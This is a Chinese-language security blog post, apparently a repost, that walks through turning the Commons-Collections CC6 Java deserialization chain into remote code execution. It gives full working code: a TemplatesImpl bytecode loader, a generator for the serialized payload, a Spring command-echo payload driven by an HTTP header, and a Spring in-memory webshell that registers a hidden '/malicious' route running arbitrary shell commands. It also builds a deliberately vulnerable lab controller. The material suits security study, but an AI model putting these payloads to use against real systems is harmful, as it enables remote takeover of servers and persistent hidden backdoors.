【JAVA安全】CC6反序列化利用

admin 2024年9月24日16:22:24评论22 views字数 21468阅读71分33秒阅读模式

书接上文,我们已经可以通过CC6利用链执行calc命令了。

【JAVA安全】CC6反序列化链调试

下面就要改造下脚本使其不仅仅是弹计算器这么简单

defineClass

先给出最标准的defineClass执行字节码的标准

新建一个类:

public class CmdCalc {  
    public CmdCalc() throws Exception {  
        Runtime.getRuntime().exec("calc");  
    }  
}

然后将其编译成class,因为不需要依赖,直接javac即可

javac CmdCalc.java

此处有一个坑需要注意就是IDEA新建的class会自动带上package名,所以在编译之前需要把package去掉。

将编译后的class进行base64编码并放入DefineClass模板中,直接执行main即相当于通过ClassLoader去执行CmdCalc类的CmdCalc方法

import java.lang.reflect.Method;  
import java.util.Base64;  
  
public class DefineClass {  
    public static void main(String[] args) throws Exception {  
        String className = "CmdCalc";  
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.classbyte[].classint.classint.class);  
        defineClass.setAccessible(true);  
        byte [] bs = Base64.getDecoder().decode("yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEADENtZENhbGMuamF2YQwABwAIBwAXDAAYABkBAARjYWxjDAAaABsBAAdDbWRDYWxjAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAABAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAAwAEAAQADQAFAAsAAAAEAAEADAABAA0AAAACAA4=");  
  
        Class clazz = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), className, bs, 0, bs.length);  
        try {  
            Object obj = clazz.newInstance();  
        } catch (Exception e) {  
            Class.forName(className).newInstance();  
        }  
    }  
  
}
【JAVA安全】CC6反序列化利用

TemplatesImpl

前一篇文章的cc6链利用脚本在transformers数组中放的是InvokerTransformer类,是为了利用这个类自带的getClassgetMethodinvoke方法

这个类显然对于我们执行任意命令不够灵活,因为在实际场景中,defineClass方法的作用域是不开放的很难直接利用,所以现在要找一个能外部调用的类且包含ClassLoader.defineClass方法能执行我们自定义的类

目标是调用最终的ClassLoader.defineClass方法:

【JAVA安全】CC6反序列化利用

刚好在com.sun.org.apache.xalan.internal.xsltc.trax包中找到TemplatesImpl类能满足我的需求

可以看到在TransletClassLoaderdefinedClass调用了此方法

【JAVA安全】CC6反序列化利用

再往上TemplatesImpldefineTransletClasses方法调用了defineClass方法

【JAVA安全】CC6反序列化利用

再往上TemplatesImplgetTransletInstance方法调用了defineTransletClasses

【JAVA安全】CC6反序列化利用

再往上TemplatesImplnewTransformer方法,此方式是public,在外面可以直接调用了

【JAVA安全】CC6反序列化利用

因此得到了一条利用链:

TemplatesImpl->newTransformer()
    TemplatesImpl->getTransletInstance()
        TemplatesImpl->defineTransletClasses()
            TemplatesImpl->defineClass()
                ClassLoader->defineClass()

通过单步调试发现要想不进入异常正常触发,_tfactory必须为TransformerFactoryImpl对象,且TemplatesImpl中字节码对应的类必须是runtime.AbstractTranslet子类

编写TemplatesImpl代码并与CC6链子结合

import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
  
  
public class TemplatesImplCmdCalc extends AbstractTranslet {  
    public TemplatesImplCmdCalc() throws Exception {  
        Runtime.getRuntime().exec("calc");  
    }  
  
    @Override  
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  
  
    }  
  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {  
  
    }  
}

通过javac将其编译为字节码.class文件

改写CC6链子transformers的参数,使其读取TemplatesImplCmdCalc.class的字节码并加载

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InstantiateTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.util.HashMap;  
import java.util.Map;  
  
public class CC6TemplatesImpl {  
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InstantiationException {  
        FileInputStream inputFromFile = new FileInputStream("D:\code\javaProject\unserialize_test\src\main\java\com\kuang\TemplatesImplCmdCalc.class");  
        byte[] bs = new byte[inputFromFile.available()];  
        inputFromFile.read(bs);  
  
        //反射修改  
        TemplatesImpl obj = TemplatesImpl.class.newInstance();  
        Field bytecodes = obj.getClass().getDeclaredField("_bytecodes");  
        bytecodes.setAccessible(true);  
        bytecodes.set(obj, new byte[][]{bs});  
  
        Field name = obj.getClass().getDeclaredField("_name");  
        name.setAccessible(true);  
        name.set(obj, "TemplatesImpl");  
  
        Field _class = obj.getClass().getDeclaredField("_tfactory");  
        _class.setAccessible(true);  
        _class.set(obj, new TransformerFactoryImpl());  
  
  
        Transformer[] transformers = {  
                new ConstantTransformer(TrAXFilter.class),  
                new InstantiateTransformer(  
                        new Class[] 
{ Templates.class },  
                        new Object[] 
{ obj })  
        };  
//        Runtime.getRuntime().exec('calc');  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
        Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));  
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");  
        HashMap<Object, Object> hashMap = new HashMap<>();  
        hashMap.put(tiedMapEntry, "3");  
  
        lazymap.remove("2");  
  
        Class<LazyMap> lazyMapClass = LazyMap.class;  
        Field factoryField = lazyMapClass.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(lazymap, chainedTransformer);  
  
  
        ByteArrayOutputStream out = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(out);  
        oos.writeObject(hashMap);  
        String base64 = java.util.Base64.getEncoder().encodeToString(out.toByteArray());  
        //System.out.println(base64);  
        System.out.println(base64.replace("+""%2B"));  
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(out.toByteArray()));  
        ois.readObject();  
//        serial(hashMap);  
//        unserial();  
    }  
  
    public static void serial(Object obj) throws IOException {  
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc6.bin"));  
        out.writeObject(obj);  
    }  
  
    public static void unserial() throws IOException, ClassNotFoundException {  
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc6.bin"));  
        in.readObject();  
    }  
  
}

执行CC6TemplatesImpl即相当于执行字节码,即Runtime.getRuntime().exec("calc");

【JAVA安全】CC6反序列化利用

搭建测试环境靶场

新建一个springboot项目,maven里加上commons-collections 3.2.1

【JAVA安全】CC6反序列化利用

新建一个有漏洞的controller:

@Controller  
public class ReadController {  
    @RequestMapping({"/read"})  
    @ResponseBody  
    public String getObject(String obj) throws Exception {  
        byte[] Bytes = Tools.base64Decode(obj);  
        Object Object = Tools.deserialize(Bytes);  
        return Object.toString();  
    }  
}

前端上送一个obj参数,先解base64再readObject(),由于引用了旧版本的cc链,所以存在反序列化安全问题。

public class Tools {  
    public static byte[] base64Decode(String base64) {  
        Decoder decoder = Base64.getDecoder();  
        return decoder.decode(base64);  
    }  
  
    public static Object deserialize(byte[] serialized) throws Exception {  
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);  
        ObjectInputStream objIn = new ObjectInputStream(btin);  
        return objIn.readObject();  
    }  
}

实战演示

打回显马

修改TemplatesImpl类,扩展其功能,使其不只有弹计算器的代码。

通过获取ServletRequest属性的内容,解析其中header中变量为C的值,调用cmd.exe/bin/sh执行命令,最后将命令的回显写入Servlet的Response中即可通过Web查看命令执行的结果了。

import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
  
import java.io.IOException;  
  
public class SpringEcho extends AbstractTranslet {  
    static {  
        org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();  
        javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();  
        javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();  
        String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows")? new String[]{"cmd.exe""/c", httprequest.getHeader("C")} : new String[]{"/bin/sh""-c", httprequest.getHeader("C")};  
        byte[] result = new byte[0];  
        try {  
            result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\A").next().getBytes();  
        } catch (IOException e) {  
            throw new RuntimeException(e);  
        }  
        try {  
            httpresponse.getWriter().write(new String(result));  
        } catch (IOException e) {  
            throw new RuntimeException(e);  
        }  
        try {  
            httpresponse.getWriter().flush();  
        } catch (IOException e) {  
            throw new RuntimeException(e);  
        }  
        try {  
            httpresponse.getWriter().close();  
        } catch (IOException e) {  
            throw new RuntimeException(e);  
        }  
    }  
  
    @Override  
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  
  
    }  
  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {  
  
    }  
}

修改CC6链子加载的class字节码文件路径

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.util.Map;  
  
public class CC6WithSpringEchoTemplates {  
    public static void main(String[] args) throws Exception {  
        TemplatesImpl templates = new TemplatesImpl();  
        Class ct = templates.getClass();  
        byte[] code = Files.readAllBytes(Paths.get("D:\code\javaProject\JavaDeserialization\src\main\CC6\src\main\java\SpringEcho.class"));  
        byte[][] bytes = {code};  
        Field ctDeclaredField = ct.getDeclaredField("_bytecodes");  
        ctDeclaredField.setAccessible(true);  
        ctDeclaredField.set(templates,bytes);  
        Field nameField = ct.getDeclaredField("_name");  
        nameField.setAccessible(true);  
        nameField.set(templates,"TemplatesImpl");  
        Field tfactory = ct.getDeclaredField("_tfactory");  
        tfactory.setAccessible(true);  
        tfactory.set(templates,new TransformerFactoryImpl());  
  
  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(templates),  
                new InvokerTransformer("newTransformer",null,null)  
        };  
  
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);  
  
        Map<Object,Object> map = new HashMap<>();  
        Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));  
  
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");  
//  
//        //查看构造函数,传入的key和value  
        HashMap<Object, Object> map1 = new HashMap<>();  
        //map的固定语法,必须要put进去,这里的put会将链子连起来,触发命令执行  
        map1.put(tiedMapEntry, "bbb");  
        lazyMap.remove("aaa");  
  
        Class c = LazyMap.class;  
        Field factoryField = c.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(lazyMap,chainedTransformer);  
  
        ByteArrayOutputStream out = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(out);  
        oos.writeObject(map1);  
        String base64 = java.util.Base64.getEncoder().encodeToString(out.toByteArray());  
//        System.out.println(base64);  
        System.out.println(base64.replace("+""%2B"));  
  
        serialize(map1);  
        //unserialize("ser.bin");  
    }  
  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
        objectOutputStream.writeObject(obj);  
    }  
    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {  
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));  
        Object object = objectInputStream.readObject();  
        return object;  
    }  
  
}

执行即可获得序列化后的内容

【JAVA安全】CC6反序列化利用

启动靶场通过read接口传入obj参数触发反序列化,继而通过header中C参数获取命令,造成命令执行和结果回显。

【JAVA安全】CC6反序列化利用

打内存马

根据靶场的spring版本,找到一个spring2.x的内存马,通过在RequestMappingHandler中注册一条新的路由添加后门malicious接口,该接口通过接收cmd参数造成命令执行和回显。

import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
import org.springframework.stereotype.Controller;  
import org.springframework.web.bind.annotation.RequestMapping;  
import org.springframework.web.context.WebApplicationContext;  
import org.springframework.web.context.request.RequestContextHolder;  
import org.springframework.web.context.request.ServletRequestAttributes;  
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;  
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;  
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;  
  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.IOException;  
import java.io.PrintWriter;  
import java.lang.reflect.Method;  
  
/**  
 * 适用于 SpringMVC+Tomcat的环境,以及Springboot 2.x 环境.  
 *   因此比 SpringControllerMemShell.java 更加通用  
 *   Springboot 1.x 和 3.x 版本未进行测试  
 */
  
@Controller  
public class SpringControllerMemShell3 extends AbstractTranslet {  
  
    public SpringControllerMemShell3() {  
        try {  
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT"0);  
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);  
            Method method2 = SpringControllerMemShell3.class.getMethod("test");  
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();  
  
            Method getMappingForMethod = mappingHandlerMapping.getClass().getDeclaredMethod("getMappingForMethod", Method.classClass.class);  
            getMappingForMethod.setAccessible(true);  
            RequestMappingInfo info =  
                    (RequestMappingInfo) getMappingForMethod.invoke(mappingHandlerMapping, method2, SpringControllerMemShell3.class);  
  
            SpringControllerMemShell3 springControllerMemShell = new SpringControllerMemShell3("aaa");  
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);  
        } catch (Exception e) {  
  
        }  
    }  
  
    @Override  
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  
  
    }  
  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {  
  
    }  
  
    public SpringControllerMemShell3(String aaa) {  
    }  
  
    @RequestMapping("/malicious")  
    public void test() throws IOException {  
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();  
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();  
        try {  
            String arg0 = request.getParameter("cmd");  
            PrintWriter writer = response.getWriter();  
            if (arg0 != null) {  
                String o = "";  
                ProcessBuilder p;  
                if (System.getProperty("os.name").toLowerCase().contains("win")) {  
                    p = new ProcessBuilder(new String[]{"cmd.exe""/c", arg0});  
                } else {  
                    p = new ProcessBuilder(new String[]{"/bin/sh""-c", arg0});  
                }  
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\A");  
                o = c.hasNext() ? c.next() : o;  
                c.close();  
                writer.write(o);  
                writer.flush();  
                writer.close();  
            } else {  
                response.sendError(404);  
            }  
        } catch (Exception e) {  
        }  
    }  
}

修改CC6的字节码加载地址使其序列化该内存马

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.util.Map;  
  
  
public class CC6WithMemShell {  
    public static void main(String[] args) throws Exception {  
        TemplatesImpl templates = new TemplatesImpl();  
        Class ct = templates.getClass();  
        byte[] code = Files.readAllBytes(Paths.get("D:\code\javaProject\JavaDeserialization\src\main\CC6\src\main\java\SpringControllerMemShell3.class"));  
        byte[][] bytes = {code};  
        Field ctDeclaredField = ct.getDeclaredField("_bytecodes");  
        ctDeclaredField.setAccessible(true);  
        ctDeclaredField.set(templates,bytes);  
        Field nameField = ct.getDeclaredField("_name");  
        nameField.setAccessible(true);  
        nameField.set(templates,"TemplatesImpl");  
        Field tfactory = ct.getDeclaredField("_tfactory");  
        tfactory.setAccessible(true);  
        tfactory.set(templates,new TransformerFactoryImpl());  
  
  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(templates),  
                new InvokerTransformer("newTransformer",null,null)  
        };  
  
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);  
  
        Map<Object,Object> map = new HashMap<>();  
        Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));  
  
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");  
//  
//        //查看构造函数,传入的key和value  
        HashMap<Object, Object> map1 = new HashMap<>();  
        //map的固定语法,必须要put进去,这里的put会将链子连起来,触发命令执行  
        map1.put(tiedMapEntry, "bbb");  
        lazyMap.remove("aaa");  
  
        Class c = LazyMap.class;  
        Field factoryField = c.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(lazyMap,chainedTransformer);  
  
        ByteArrayOutputStream out = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(out);  
        oos.writeObject(map1);  
        String base64 = java.util.Base64.getEncoder().encodeToString(out.toByteArray());  
//        System.out.println(base64);  
        System.out.println(base64.replace("+""%2B"));  
  
        serialize(map1);  
        //unserialize("ser.bin");  
    }  
  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
        objectOutputStream.writeObject(obj);  
    }  
    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {  
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));  
        Object object = objectInputStream.readObject();  
        return object;  
    }  
  
}

执行该脚本使其生成序列化内容,并通过靶场给出的/read接口触发反序列化并添加内存马路由

【JAVA安全】CC6反序列化利用

继而通过添加的malicious路由造成命令执行

【JAVA安全】CC6反序列化利用

原文始发于微信公众号(智佳网络安全):【JAVA安全】CC6反序列化利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月24日16:22:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【JAVA安全】CC6反序列化利用https://cn-sec.com/archives/3202922.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息